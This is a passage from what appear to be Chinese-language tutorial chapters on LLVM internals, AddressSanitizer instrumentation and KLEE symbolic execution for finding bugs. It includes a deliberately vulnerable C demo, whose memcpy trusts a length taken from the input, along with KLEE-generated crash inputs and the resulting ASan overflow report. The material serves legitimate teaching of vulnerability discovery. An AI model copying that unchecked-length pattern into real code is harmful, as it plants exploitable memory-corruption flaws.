(Mapping.Offset == 0) return Shadow;\n  // (Shadow >> scale) | offset\n  Value *ShadowBase;                          //  计算Shadow 表的基地址\n  if (LocalDynamicShadow)\n    ShadowBase = LocalDynamicShadow;\n  else\n    ShadowBase = ConstantInt::get(IntptrTy, Mapping.Offset);  //  kDefaultShadowOffset64 = 1ULL << 44;\n  if (Mapping.OrShadowOffset)\n    return IRB.CreateOr(Shadow, ShadowBase);  //  插入Or 指令\n  else\n    return IRB.CreateAdd(Shadow, ShadowBase);\n}\n\nvoid AddressSanitizer::instrumentAddress(Instruction *OrigIns,\n                                         Instruction *InsertBefore, Value *Addr,\n                                         uint32_t TypeSize, bool IsWrite,\n                                         Value *SizeArgument, bool UseCalls,\n                                         uint32_t Exp) {  //  插桩逻辑函数\n  IRBuilder<> IRB(InsertBefore);\n  Value *AddrLong = IRB.CreatePointerCast(Addr, IntptrTy);  //  获取buffer 指针位置\n  size_t AccessSizeIndex = TypeSizeToSizeIndex(TypeSize);   //  计算访问内存的大小\n\n  if (UseCalls) {  //  UseCalls 的方式是指在不插桩下直接调用ASAN 内部函数进行检测\n    if (Exp == 0)\n      IRB.CreateCall(AsanMemoryAccessCallback[IsWrite][0][AccessSizeIndex],\n                     AddrLong);\n    else\n      IRB.CreateCall(AsanMemoryAccessCallback[IsWrite][1][AccessSizeIndex],\n                     {AddrLong, ConstantInt::get(IRB.getInt32Ty(), Exp)});\n    return;\n  }\n\n  Type *ShadowTy =\n      IntegerType::get(*C, std::max(8U, TypeSize >> Mapping.Scale));  //  kDefaultShadowScale = 3\n  Type *ShadowPtrTy = PointerType::get(ShadowTy, 0);\n  Value *ShadowPtr = memToShadow(AddrLong, IRB);  //  计算buffer 在Shadow 表中的位置\n  Value *CmpVal = Constant::getNullValue(ShadowTy);\n  Value *ShadowValue =\n      IRB.CreateLoad(IRB.CreateIntToPtr(ShadowPtr, ShadowPtrTy));  //  从Shadow 表中加载数据\n\n  Value *Cmp = IRB.CreateICmpNE(ShadowValue, CmpVal);  //  构造判断语句\n  size_t Granularity = 1ULL << Mapping.Scale;\n  Instruction *CrashTerm = nullptr;\n\n  if (ClAlwaysSlowPath || (TypeSize < 8 * Granularity)) {\n    // We use branch weights for the slow path check, to indicate that the slow\n    // path is rarely taken. This seems to be the case for SPEC benchmarks.\n    Instruction *CheckTerm = SplitBlockAndInsertIfThen(\n        Cmp, InsertBefore, false, MDBuilder(*C).createBranchWeights(1, 100000));  //  为前面的cmp 判断创建分支代码块\n    assert(cast<BranchInst>(CheckTerm)->isUnconditional());\n    BasicBlock *NextBB = CheckTerm->getSuccessor(0);\n    IRB.SetInsertPoint(CheckTerm);\n    Value *Cmp2 = createSlowPathCmp(IRB, AddrLong, ShadowValue, TypeSize);\n    if (Recover) {\n      CrashTerm = SplitBlockAndInsertIfThen(Cmp2, CheckTerm, false);\n    } else {\n      BasicBlock *CrashBlock =\n        BasicBlock::Create(*C, \"\", NextBB->getParent(), NextBB);\n      CrashTerm = new UnreachableInst(*C, CrashBlock);\n      BranchInst *NewTerm = BranchInst::Create(CrashBlock, NextBB, Cmp2);\n      ReplaceInstWithInst(CheckTerm, NewTerm);\n    }\n  } else {\n    CrashTerm = SplitBlockAndInsertIfThen(Cmp, InsertBefore, !Recover);\n  }\n\n  Instruction *Crash = generateCrashCode(CrashTerm, AddrLong, IsWrite,\n                                         AccessSizeIndex, SizeArgument, Exp);\n  Crash->setDebugLoc(OrigIns->getDebugLoc());\n}\n\n```\n\n\n"
  },
  {
    "path": "8.玩转LLVM.md",
    "content": "\n\n## 必备工具\n\nclang ,LLVM 源码\n\n\n## LLVM 架构原理\n\n  前面第五章已经提到了LLVM 的架构,主要分为三部分:前端,优化器和后端.\n\n![](pic8/pic1.png)\n\n\n## LLVM 前端\n\n  LLVM 前端的作用是把指定的语言序列化转换为LLVM IR (LLVM 中间语言).我们用LLVM 官方例子来做示例:\n\n```txt\n\n# Compute the x'th fibonacci number.\ndef fib(x)\n  if x < 3 then\n    1\n  else\n    fib(x-1)+fib(x-2)\n\n# This expression will compute the 40th number.\nfib(40)\n\n```\n\n  这是一段类似Python 语法的代码,那么首先就要把这段代码做词法分析:\n\n```c++\n\nenum Token {    // 语法Token 标志\n  tok_eof = -1,\n\n  // commands\n  tok_def = -2,\n  tok_extern = -3,\n\n  // primary\n  tok_identifier = -4,\n  tok_number = -5\n};\n\nstatic std::string IdentifierStr; // Filled in if tok_identifier\nstatic double NumVal;             // Filled in if tok_number\n\nstatic int gettok() {  //  解析语法token \n  static int LastChar = ' ';\n\n  // Skip any whitespace.\n  while (isspace(LastChar))  //  忽略空格\n    LastChar = getchar();\n\n  if (isalpha(LastChar)) { // identifier: [a-zA-Z][a-zA-Z0-9]*  , 遇到字符串\n    IdentifierStr = LastChar;\n    while (isalnum((LastChar = getchar())))\n      IdentifierStr += LastChar;   //  拼接字符串\n\n    if (IdentifierStr == \"def\")    //  如果当前这个标识符是def => def asd() :\n      return tok_def;              //  返回tok_def 标志\n    if (IdentifierStr == \"extern\") //  如果是extern => extern ???\n      return tok_extern;\n    return tok_identifier;         //  如果不是关键字def 和extern 的话,那就识别为字符串\n  }\n\n  if (isdigit(LastChar) || LastChar == '.') {  // Number: [0-9.]+  ,如果是数字,组合示例(3,4.)\n    std::string NumStr;\n    do {\n      NumStr += LastChar;\n      LastChar = getchar();\n    } while (isdigit(LastChar) || LastChar == '.');\n\n    NumVal = strtod(NumStr.c_str(), nullptr);  //  字符串转浮点数\n    return tok_number;\n  }\n\n  if (LastChar == '#') {  //  这是注释..\n    // Comment until end of line.\n    do\n      LastChar = getchar();\n    while (LastChar != EOF && LastChar != '\\n' && LastChar != '\\r');\n\n    if (LastChar != EOF)\n      return gettok();\n  }\n\n  // Check for end of file.  Don't eat the EOF.\n  if (LastChar == EOF)  //  文件结束\n    return tok_eof;\n\n  // Otherwise, just return the character as its ascii value.\n  int ThisChar = LastChar;\n  LastChar = getchar();\n  return ThisChar;\n}\n\n```\n\n  `gettok()` 函数主要是对代码不断进行词法分析,我们还需要一个函数来调用它构造抽象语法树:\n\n```c++\n\nstatic int CurTok;\nstatic int getNextToken() { return CurTok = gettok(); }\n\n\nstatic void HandleDefinition() {  //  处理声明函数的回调函数\n  if (ParseDefinition()) {\n    fprintf(stderr, \"Parsed a function definition.\\n\");\n  } else {\n    // Skip token for error recovery.\n    getNextToken();\n  }\n}\n\nstatic void HandleExtern() {  //  处理引用外部函数的回调函数\n  if (ParseExtern()) {\n    fprintf(stderr, \"Parsed an extern\\n\");\n  } else {\n    // Skip token for error recovery.\n    getNextToken();\n  }\n}\n\nstatic void HandleTopLevelExpression() {  //  处理赋值表达式的回调函数\n  // Evaluate a top-level expression into an anonymous function.\n  if (ParseTopLevelExpr()) {\n    fprintf(stderr, \"Parsed a top-level expr\\n\");\n  } else {\n    // Skip token for error recovery.\n    getNextToken();\n  }\n}\n\n/// top ::= definition | external | expression | ';'\nstatic void MainLoop() {  //  解析代码转换AST 函数\n  while (true) {\n    fprintf(stderr, \"ready> \");\n    switch (CurTok) {\n    case tok_eof:\n      return;\n    case ';': // ignore top-level semicolons.\n      getNextToken();\n      break;\n    case tok_def:\n      HandleDefinition();\n      break;\n    case tok_extern:\n      HandleExtern();\n      break;\n    default:\n      HandleTopLevelExpression();\n      break;\n    }\n  }\n}\n\n```\n\n  `HandleDefinition()` 里面还调用了`ParseDefinition()` 函数,这是进一步解析函数结构的代码:\n\n```c++\n\n/// ExprAST - Base class for all expression nodes.\nclass ExprAST {  //  基础表达式\npublic:\n  virtual ~ExprAST() = default;\n};\n\n/// PrototypeAST - This class represents the \"prototype\" for a function,\n/// which captures its name, and its argument names (thus implicitly the number\n/// of arguments the function takes).\nclass PrototypeAST {  //  函数参数AST\n  std::string Name;\n  std::vector<std::string> Args;\n\npublic:\n  PrototypeAST(const std::string &Name, std::vector<std::string> Args)\n      : Name(Name), Args(std::move(Args)) {}\n\n  const std::string &getName() const { return Name; }\n};\n\n/// FunctionAST - This class represents a function definition itself.\nclass FunctionAST {  //  函数AST\n  std::unique_ptr<PrototypeAST> Proto;\n  std::unique_ptr<ExprAST> Body;\n\npublic:\n  FunctionAST(std::unique_ptr<PrototypeAST> Proto,\n              std::unique_ptr<ExprAST> Body)\n      : Proto(std::move(Proto)), Body(std::move(Body)) {}\n};\n\n/// prototype\n///   ::= id '(' id* ')'\nstatic std::unique_ptr<PrototypeAST> ParsePrototype() {\n  if (CurTok != tok_identifier)\n    return LogErrorP(\"Expected function name in prototype\");\n\n  std::string FnName = IdentifierStr;  //  解析出函数名\n  getNextToken();\n\n  if (CurTok != '(')\n    return LogErrorP(\"Expected '(' in prototype\");\n\n  std::vector<std::string> ArgNames;\n  while (getNextToken() == tok_identifier)  //  解析函数参数列表\n    ArgNames.push_back(IdentifierStr);\n  if (CurTok != ')')\n    return LogErrorP(\"Expected ')' in prototype\");\n\n  // success.\n  getNextToken(); // eat ')'.\n\n  return llvm::make_unique<PrototypeAST>(FnName, std::move(ArgNames));\n}\n\n/// definition ::= 'def' prototype expression\nstatic std::unique_ptr<FunctionAST> ParseDefinition() {\n  getNextToken(); // eat def.\n  auto Proto = ParsePrototype();  //  解析函数声明部分:函数名和参数\n  if (!Proto)\n    return nullptr;\n\n  if (auto E = ParseExpression())  //  解析函数代码\n    return llvm::make_unique<FunctionAST>(std::move(Proto), std::move(E));\n  return nullptr;\n}\n\n```\n\n  `ParseDefinition()` 函数通过不断的词法分析解析出抽象语法树之后,接下来就是对语法树进行LLVM IR 构建.LLVM IR 贯穿了整个LLVM 编译和优化周期,是LLVM 中重要的概念之一.我们深入介绍LLVM IR 的相关知识.\n\n\n## LLVM IR 简介\n\n  基于上面的代码,继续修改如下:\n\n```c++\n\n/// PrototypeAST - This class represents the \"prototype\" for a function,\n/// which captures its name, and its argument names (thus implicitly the number\n/// of arguments the function takes).\nclass PrototypeAST {\n  std::string Name;\n  std::vector<std::string> Args;\n\npublic:\n  PrototypeAST(const std::string &Name, std::vector<std::string> Args)\n      : Name(Name), Args(std::move(Args)) {}\n\n  Function *codegen();\n  const std::string &getName() const { return Name; }\n};\n\n/// FunctionAST - This class represents a function definition itself.\nclass FunctionAST {\n  std::unique_ptr<PrototypeAST> Proto;\n  std::unique_ptr<ExprAST> Body;\n\npublic:\n  FunctionAST(std::unique_ptr<PrototypeAST> Proto,\n              std::unique_ptr<ExprAST> Body)\n      : Proto(std::move(Proto)), Body(std::move(Body)) {}\n\n  Function *codegen();\n};\n\nFunction *PrototypeAST::codegen() {\n  // Make the function type:  double(double,double) etc.\n  std::vector<Type *> Doubles(Args.size(), Type::getDoubleTy(TheContext));  //  创建函数参数\n  FunctionType *FT =\n      FunctionType::get(Type::getDoubleTy(TheContext), Doubles, false);  //  创建LLVM 函数类型\n\n  Function *F =\n      Function::Create(FT, Function::ExternalLinkage, Name, TheModule.get());  //  创建LLVM 函数\n\n  // Set names for all arguments.\n  unsigned Idx = 0;\n  for (auto &Arg : F->args())  //  设置参数名字\n    Arg.setName(Args[Idx++]);\n\n  return F;\n}\n\nFunction *FunctionAST::codegen() {\n  // First, check for an existing function from a previous 'extern' declaration.\n  Function *TheFunction = TheModule->getFunction(Proto->getName());  //  获取当前LLVM 环境中是否有同名的函数\n\n  if (!TheFunction)\n    TheFunction = Proto->codegen();  //  如果没有同名函数,那就调用PrototypeAST::codegen() 生成函数声明\n\n  if (!TheFunction)  //  如果生成失败了..\n    return nullptr;\n\n  // Create a new basic block to start insertion into.\n  BasicBlock *BB = BasicBlock::Create(TheContext, \"entry\", TheFunction);  //  创建代码块\n  Builder.SetInsertPoint(BB);  //  Builder 是LLVM IRBuilder<> ,用于生成LLVM IR 代码,这是设置LLVM IR 生成设置到当前BasicBlock ..\n\n  // Record the function arguments in the NamedValues map.\n  NamedValues.clear();\n  for (auto &Arg : TheFunction->args())  //  收集函数参数名字\n    NamedValues[Arg.getName()] = &Arg;\n\n  if (Value *RetVal = Body->codegen()) {  //  函数代码生成\n    // Finish off the function.\n    Builder.CreateRet(RetVal);  //  为函数返回创建RET 指令\n\n    // Validate the generated code, checking for consistency.\n    verifyFunction(*TheFunction);  //  让LLVM 验证生成的代码\n\n    return TheFunction;\n  }\n\n  // Error reading body, remove function.\n  TheFunction->eraseFromParent();\n  return nullptr;\n}\n\n```\n\n\n```c++\n\n/// NumberExprAST - Expression class for numeric literals like \"1.0\".\nclass NumberExprAST : public ExprAST {\n  double Val;\n\npublic:\n  NumberExprAST(double Val) : Val(Val) {}\n\n  Value *codegen() override;\n};\n\n/// VariableExprAST - Expression class for referencing a variable, like \"a\".\nclass VariableExprAST : public ExprAST {\n  std::string Name;\n\npublic:\n  VariableExprAST(const std::string &Name) : Name(Name) {}\n\n  Value *codegen() override;\n};\n\n```\n  \n\n\n## LLVM 基本命令\n\n\n\n## 深入了解Observer-LLVM 原理\n\n\n\n## LLVM Instrument 模块\n\n\n\n## LLVM Analayis 模块\n\n\n\n"
  },
  {
    "path": "9.KLEE符号执行框架.md",
    "content": "\n\n## 必备工具\n\nclang ,LLVM ,KLEE (https://github.com/klee/klee.git )\n\n\n## 什么是KLEE 和KLEE 的用处\n\n  在第六第七章我们已经了解到符号执行的基本原理并使用Triton 来实现一些简单的demo ,本章我们了解的KLEE 框架也是符号执行框架,与Triton 不同之处在于KLEE 能够根据源码编译出的LLVM IR 来发掘漏洞.使用KLEE 框架的程序有很多,比如在CGC (Cyber Grand Challenge ,详情参考:https://www.freebuf.com/articles/neopoints/111712.html )比赛上大获成功的S2E (http://s2e.systems/docs/s2e-env.html ).\n\n  KLEE 适用于二进制的符号执行,之所以它能够支持跨平台汇编执行最关键的一点在于KLEE 使用LLVM IR 作为语句执行(因为各个平台的汇编指令不相同,如果要编写各个平台都适用的符号执行工具工作量会很大,但是LLVM IR 能够把它们作为中间语言来等价表达).所以我们是需要依赖源码编译为LLVM ByteCode 的,如果你要在二进制程序下使用KLEE 的话,那就需要使用rev.ng (https://github.com/revng/revng )把二进制程序转换为LLVM IR 然后再给KLEE 执行.\n\n\n## KLEE 安装过程\n\n  安装KLEE 时会有一些坑,其实影响最明显的坑就是使用不同版本的LLVM 时编译KLEE 会产生一些意想不到的问题.所以笔者推荐在KLEE 2.0 下搭配LLVM 6.0 编译,KLEE 1.4 搭配LLVM 3.8 编译.\n\n  第一步下载LLVM 库代码,地址在https://github.com/llvm-mirror/llvm\n\n  ```shell\n  git clone --branch release_60 https://github.com/llvm-mirror/llvm\n  cd llvm\n  mkdir build\n  cd build\n  cmake ..\n  sudo make install -j12\n  ```\n\n  接下来下载KLEE ,地址在https://github.com/klee/klee\n\n  ```shell\n  git clone https://github.com/klee/klee.git\n  cd klee\n  mkdir build\n  cd build\n  cmake .. -DENABLE_UNIT_TESTS=OFF -DENABLE_SYSTEM_TESTS=OFF\n  sudo make install -j12\n  ```\n\n  编译好之后,我们就可以使用KLEE 了\n\n\n## 把程序编译为LLVM IR\n\n  前面说到,KLEE 使用LLVM IR 进行符号执行,那么我们则需要在编译时插入参数`-emit-llvm -S` ,示例demo 如下:\n\n```c\n//  test_code.c\n\n#include <memory.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nchar* get_message(const char* message) {\n\tif (strlen(message) <= 4)\n\t\treturn NULL;\n\n\tif (!('F' == message[0] && '\\x1' == message[1]))\n\t\treturn NULL;\n\n\tunsigned int message_length = *(unsigned int*)&message[2];\n\tchar* output_message = (char*)malloc(message_length);\n\n\tmemcpy(output_message,&message[2],message_length);\n\n\treturn output_message;\n}\n\nint main(int argc,char** argv) {\n\tchar input_buffer[0x10] = {0};\n\n\tscanf(\"%s\",input_buffer);\n\n\tchar* message_data = get_message(input_buffer);\n\n\tif (NULL == message_data)\n\t\tprintf(\"Error for resolve message\\n\");\n\telse\n\t\tprintf(\"message data : %s\\n\",message_data);\n\n\treturn 0;\n}\n\n```\n\n  需要注意的是,要编译LLVM IR 需要使用clang 而不是GCC 编译器,编译命令如下:\n\n```shell\n\nclang -emit-llvm -c test_code.c\n\n```\n\n\n## KLEE 命令基本用法\n\n  然后就可以生成`test_code.bc` 文件了,我们把它传递给KLEE 执行,KLEE 会创建新目录并保存测试数据到这里.\n\n```shell\n\nMacBook-Pro-2:bin root$ klee -libc=klee test_code.bc \nKLEE: output directory is \"/Users/_/Desktop/code_file/klee_master/build/bin/klee-out-1\"\nKLEE: Using Z3 solver backend\nKLEE: WARNING: undefined reference to function: __memcpy_chk\nKLEE: WARNING: undefined reference to function: printf\nKLEE: WARNING: undefined reference to function: scanf\nKLEE: WARNING ONCE: calling external: scanf(4623811640, 4623820064) at [no debug info]\nk\nKLEE: WARNING ONCE: calling external: printf(4624019712) at [no debug info]\nError for resolve message\n\nKLEE: done: total instructions = 273\nKLEE: done: completed paths = 1\nKLEE: done: generated tests = 1\nMacBook-Pro-2:bin root$ klee -libc=klee test_code.bc \nKLEE: output directory is \"/Users/_/Desktop/code_file/klee_master/build/bin/klee-out-2\"\nKLEE: Using Z3 solver backend\nKLEE: WARNING: undefined reference to function: __memcpy_chk\nKLEE: WARNING: undefined reference to function: printf\nKLEE: WARNING: undefined reference to function: scanf\nKLEE: WARNING ONCE: calling external: scanf(4606362680, 4606371104) at [no debug info]\nAAAAAAAAAAAAAAAAAAAAA\nKLEE: ERROR: /Users/_/Desktop/source/klee/runtime/klee-libc/strlen.c:14: memory error: out of bound pointer\nKLEE: NOTE: now ignoring this error at this location\n\nKLEE: done: total instructions = 372\nKLEE: done: completed paths = 1\nKLEE: done: generated tests = 1\n\n```\n\n  因为程序调用了scanf() 函数,我们需要手动给它填写一些参数进去,第一次使用klee 执行程序时在scanf() 传递字符k 并没有触发崩溃,但是在第二次使用klee 执行时输入AAAAAAAAAAAAAAAAAAAAA 导致了KLEE 的内部实现strlen() 函数报错了,我们可以在klee-out-2 目录查看细节.\n\n```shell\n\nMacBook-Pro-2:bin root$ cd klee-out-2/\nMacBook-Pro-2:klee-out-2 root$ ls\nassembly.ll             messages.txt            run.stats               test000001.ktest        warnings.txt\ninfo                    run.istats              test000001.kquery       test000001.ptr.err\n\n```\n\n  我们看到文件夹里的test000001.ptr.err 文件,它的意思是strlen() 的崩溃信息\n\n```shell\n\nError: memory error: out of bound pointer\nFile: /Users/fc/Desktop/source/klee/runtime/klee-libc/strlen.c\nLine: 14\nassembly.ll line: 135\nStack: \n        #000000135 in strlen (=4606371104) at /Users/fc/Desktop/source/klee/runtime/klee-libc/strlen.c:14\n        #100000018 in get_message (=4606371104)\n        #200000096 in main (=1, =4606715776)\nInfo: \n        address: 4606371120\n        next: object at 4606362472 of size 8\n                MO9[8] allocated at main():  %3 = alloca i32, align 4\n\n```\n\n  使用ktest-tool 查看test 样本的信息:\n\n```shell\n\nMacBook-Pro-2:klee-out-2 root$ ktest-tool test000001.ktest \nktest file : 'test000001.ktest'\nargs       : ['test_code.bc']\nnum objects: 0\n\n```\n\n  使用klee-stats 查看当前本次测试的状态:\n\n```shell\n\nMacBook-Pro-2:klee-out-2 root$ klee-stats .\n---------------------------------------------------------------------\n| Path |  Instrs|  Time(s)|  ICov(%)|  BCov(%)|  ICount|  TSolver(%)|\n---------------------------------------------------------------------\n|  .   |     372|     8.49|    54.62|    25.00|     119|        0.00|\n---------------------------------------------------------------------\n\n```\n\n  \n## KLEE 框架中的klee_make_symbolic()\n\n  在前面的这个例子,我们并不能很好的了解到KLEE 的强大之处,接下来将要介绍的KLEE 的基本用法,自动对输入进行追踪测试.继续回顾上面的代码例子:\n\n```c\n\n#include <memory.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nchar* get_message(const char* message) {\n\tif (strlen(message) <= 4)\n\t\treturn NULL;\n\n\tif (!('F' == message[0] && '\\x1' == message[1]))\n\t\treturn NULL;\n\n\tunsigned int message_length = *(unsigned int*)&message[2];\n\tchar* output_message = (char*)malloc(message_length);\n\n\tmemcpy(output_message,&message[2],message_length);\n\n\treturn output_message;\n}\n\nint main(int argc,char** argv) {\n\tchar input_buffer[0x10] = {0};\n\n\tscanf(\"%s\",input_buffer);\n\n\tchar* message_data = get_message(input_buffer);\n\n\tif (NULL == message_data)\n\t\tprintf(\"Error for resolve message\\n\");\n\telse\n\t\tprintf(\"message data : %s\\n\",message_data);\n\n\treturn 0;\n}\n\n```\n\n  在这个代码例子里,我们要特别关注scanf() 函数,因为scanf() 函数是我们的输入点,在KLEE 里,对于这种用户可控的输入的,我们需要手工给它们打上标记,KLEE 提供一个函数,声明如下:\n\n```c\n\nvoid klee_make_symbolic(void *array, size_t nbytes, const char *name);\n//  klee_make_symbolic(内存地址,内存大小,变量名字);\n\n```\n\n  我们修改上面的函数如下,替换scanf() 为klee_make_symbolic() .部分代码如下:\n\n```c\n\n#include <memory.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\n#include \"klee/klee.h\"\n\n\nchar* get_message(const char* message) {\n\tif (strlen(message) <= 4)\n\t\treturn NULL;\n\n\tif (!('F' == message[0] && '\\x1' == message[1]))\n\t\treturn NULL;\n\n\tunsigned int message_length = *(unsigned int*)&message[2];\n\tchar* output_message = (char*)malloc(message_length);\n\n\tmemcpy(output_message,&message[2],message_length);\n\n\treturn output_message;\n}\n\nint main(int argc,char** argv) {\n\tchar input_buffer[0x10] = {0};\n\n\tklee_make_symbolic(input_buffer,sizeof(input_buffer),\"input_buffer\");\n\n\tchar* message_data = get_message(input_buffer);\n\n\tif (NULL == message_data)\n\t\tprintf(\"Error for resolve message\\n\");\n\telse\n\t\tprintf(\"message data : %s\\n\",message_data);\n\n\treturn 0;\n}\n\n```\n\n  编译命令如下(注意,因为klee/klee.h 库可能没有被复制到/usr/include 中,所以需要手工-I 为klee.h 指定路径):\n\n```shell\n\nMacBook-Pro-2:bin root$ clang -emit-llvm -c -I ../../include/ test_new_code.c\n\n```\n\n  接下来我们继续执行KLEE ,效果如下:\n\n```shell\n\nMacBook-Pro-2:bin root$ klee -libc=klee test_new_code.bc \nKLEE: output directory is \"/Users/_/Desktop/code_file/klee_master/build/bin/klee-out-3\"\nKLEE: Using Z3 solver backend\nKLEE: WARNING: undefined reference to function: __memcpy_chk\nKLEE: WARNING: undefined reference to function: printf\nKLEE: WARNING ONCE: calling external: printf(4470092000) at [no debug info]\nError for resolve message\nError for resolve message\nError for resolve message\nError for resolve message\nError for resolve message\nError for resolve message\nError for resolve message\nKLEE: ERROR: (location information missing) concretized symbolic size\nKLEE: NOTE: now ignoring this error at this location\nKLEE: WARNING ONCE: Alignment of memory from call \"malloc\" is not modelled. Using alignment of 8.\nError for resolve message\nKLEE: NOTE: found huge malloc, returning 0\nKLEE: WARNING ONCE: Large alloc: 33554431 bytes.  KLEE may run out of memory.\nError for resolve message\nKLEE: WARNING ONCE: calling external: __memcpy_chk(4484030464, 4469892434, (ZExt w64 (ReadLSB w32 2 input_buffer)), 18446744073709551615) at [no debug info]\nError for resolve message\nmessage data : \nKLEE: ERROR: (location information missing) external call with symbolic argument: __memcpy_chk\nKLEE: NOTE: now ignoring this error at this location\nError for resolve message\nmessage data : \nError for resolve message\nKLEE: NOTE: found huge malloc, returning 0\nKLEE: NOTE: found huge malloc, returning 0\nError for resolve message\nmessage data : \nError for resolve message\nmessage data : \nError for resolve message\nError for resolve message\nKLEE: NOTE: found huge malloc, returning 0\nKLEE: NOTE: found huge malloc, returning 0\nError for resolve message\nmessage data : \nError for resolve message\nError for resolve message\nKLEE: NOTE: found huge malloc, returning 0\nmessage data : \nError for resolve message\nError for resolve message\nmessage data : \nKLEE: NOTE: found huge malloc, returning 0\nKLEE: NOTE: found huge malloc, returning 0\nError for resolve message\nmessage data : \nError for resolve message\nKLEE: ERROR: /Users/_/Desktop/source/klee/runtime/klee-libc/strlen.c:14: memory error: out of bound pointer\nKLEE: NOTE: now ignoring this error at this location\nmessage data : \nKLEE: NOTE: found huge malloc, returning 0\nError for resolve message\nError for resolve message\nKLEE: NOTE: found huge malloc, returning 0\nError for resolve message\nError for resolve message\nmessage data : \nmessage data : \n\nKLEE: done: total instructions = 1312\nKLEE: done: completed paths = 60\nKLEE: done: generated tests = 41\n\n```\n\n  我们来查看KLEE 的输出结果:\n\n```shell\n\nMacBook-Pro-2:klee-out-3 root$ ls\nassembly.ll             test000004.ktest        test000010.ktest        test000016.ktest        test000024.ktest        test000032.ktest        test000038.ktest\ninfo                    test000005.ktest        test000011.exec.err     test000017.ktest        test000025.ktest        test000033.ktest        test000039.ktest\nmessages.txt            test000006.ktest        test000011.kquery       test000018.ktest        test000026.ktest        test000034.kquery       test000040.ktest\nrun.istats              test000007.kquery       test000011.ktest        test000019.ktest        test000027.ktest        test000034.ktest        test000041.ktest\nrun.stats               test000007.ktest        test000012.ktest        test000020.ktest        test000028.ktest        test000034.ptr.err      warnings.txt\ntest000001.ktest        test000007.model.err    test000013.ktest        test000021.ktest        test000029.ktest        test000035.ktest\ntest000002.ktest        test000008.ktest        test000014.ktest        test000022.ktest        test000030.ktest        test000036.ktest\ntest000003.ktest        test000009.ktest        test000015.ktest        test000023.ktest        test000031.ktest        test000037.ktest\n\n```\n\n  从文件列表可以知道,本次测试发现了两处崩溃,我们使用ktest-tool 分别查看它们的信息:\n\n```shell\n\nMacBook-Pro-2:klee-out-3 root$ ktest-tool test000007.ktest \nktest file : 'test000007.ktest'\nargs       : ['test_new_code.bc']\nnum objects: 1\nobject 0: name: 'input_buffer'\nobject 0: size: 16\nobject 0: data: b'F\\x01\\xff\\xff\\xff\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff'\nobject 0: hex : 0x4601ffffff00ffffffffffffffffffff\nobject 0: text: F...............\nMacBook-Pro-2:klee-out-3 root$ ktest-tool test000034.ktest \nktest file : 'test000034.ktest'\nargs       : ['test_new_code.bc']\nnum objects: 1\nobject 0: name: 'input_buffer'\nobject 0: size: 16\nobject 0: data: b'\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff'\nobject 0: hex : 0xffffffffffffffffffffffffffffffff\nobject 0: text: ................\nMacBook-Pro-2:klee-out-3 root$ ktest-tool test000011.ktest \nktest file : 'test000011.ktest'\nargs       : ['test_new_code.bc']\nnum objects: 1\nobject 0: name: 'input_buffer'\nobject 0: size: 16\nobject 0: data: b'F\\x01\\xff\\xff\\xff\\xff\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff'\nobject 0: hex : 0x4601ffffffff00ffffffffffffffffff\nobject 0: text: F..............\n\n```\n\n  有了这些Payload ,我们使用ASAN 来验证一下这些测试用例是否是正确的,修改代码如下:\n\n```c\n\n#include <memory.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\n#include \"klee/klee.h\"\n\n\nchar* get_message(const char* message) {\n\tif (strlen(message) <= 4)\n\t\treturn NULL;\n\n\tif (!('F' == message[0] && '\\x1' == message[1]))\n\t\treturn NULL;\n\n\tunsigned int message_length = *(unsigned int*)&message[2];\n\tchar* output_message = (char*)malloc(message_length);\n\n\tmemcpy(output_message,&message[2],message_length);\n\n\treturn output_message;\n}\n\nint main(int argc,char** argv) {\n\tchar* message_data = get_message(\"F\\x01\\xff\\xff\\xff\\x00\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\xff\\0\"); //(input_buffer);\n\n\tif (NULL == message_data)\n\t\tprintf(\"Error for resolve message\\n\");\n\telse\n\t\tprintf(\"message data : %s\\n\",message_data);\n\n\treturn 0;\n}\n\n```\n\n  编译并执行程序,观察ASAN 会不会报错和产生的报错信息:\n\n```shell\n\nMacBook-Pro-2:bin root$ clang -fsanitize=address test_asan_code.c -o test_asan_code\nMacBook-Pro-2:bin root$ ./test_asan_code \n=================================================================\n==29638==ERROR: AddressSanitizer: global-buffer-overflow on address 0x0001034dee52 at pc 0x00010353b59f bp 0x7ffeec721a40 sp 0x7ffeec7211f0\nREAD of size 16777215 at 0x0001034dee52 thread T0\n    #0 0x10353b59e in __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x5459e)\n    #1 0x1034decd3 in get_message (test_asan_code:x86_64+0x100000cd3)\n    #2 0x1034ded14 in main (test_asan_code:x86_64+0x100000d14)\n    #3 0x7fff790c1014 in start (libdyld.dylib:x86_64+0x1014)\n\n0x0001034dee52 is located 0 bytes to the right of global variable '<string literal>' defined in 'test_asan_code.c:26:35' (0x1034dee40) of size 18\nSUMMARY: AddressSanitizer: global-buffer-overflow (libclang_rt.asan_osx_dynamic.dylib:x86_64h+0x5459e) in __asan_memcpy\nShadow bytes around the buggy address:\n  0x10002069bd70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x10002069bd80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x10002069bd90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x10002069bda0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x10002069bdb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x10002069bdc0: 00 00 00 00 00 00 00 00 00 00[02]f9 f9 f9 f9 f9\n  0x10002069bdd0: 00 00 00 00 00 00 00 03 f9 f9 f9 f9 00 00 03 f9\n  0x10002069bde0: f9 f9 f9 f9 00 00 00 00 00 00 00 00 00 00 00 00\n  0x10002069bdf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x10002069be00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x10002069be10: 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 